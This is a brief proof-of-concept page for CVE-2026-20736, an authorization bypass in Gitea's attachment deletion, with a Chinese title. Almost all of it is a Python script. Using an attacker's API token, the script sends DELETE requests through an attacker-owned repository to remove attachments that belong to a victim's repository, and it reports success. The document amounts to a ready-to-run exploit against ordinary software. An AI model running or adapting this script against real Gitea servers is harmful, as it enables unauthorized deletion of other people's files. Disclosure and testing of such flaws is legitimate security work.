CVE-2026-20736 Gitea附件删除权限绕过漏洞

# CVE-2026-20736 PoC - Gitea Attachment Deletion Authorization Bypass # This PoC demonstrates deleting attachments from repositories without proper access import requests import json TARGET = "http://target-gitea-instance.com" ATTACKER_TOKEN = "your-attacker-token" def delete_attachment_through_cross_repo(attachment_id, valid_repo_id, orphaned_repo_id): """ Delete attachment from orphaned_repo by making request through valid_repo """ # Step 1: Attempt to delete attachment via valid repository context url = f"{TARGET}/api/v1/repos/{valid_repo_id}/attachments/{attachment_id}" headers = { "Authorization": f"token {ATTACKER_TOKEN}", "Content-Type": "application/json" } # The vulnerable endpoint doesn't properly verify the attachment belongs to this repo response = requests.delete(url, headers=headers) if response.status_code == 204: print(f"[+] Successfully deleted attachment {attachment_id}") print(f"[+] Attachment was from repo {orphaned_repo_id} but deleted via {valid_repo_id}") return True else: print(f"[-] Failed to delete attachment: {response.status_code}") return False # Example usage # delete_attachment_through_cross_repo("attachment-uuid", "attacker-owned-repo", "victim-repo")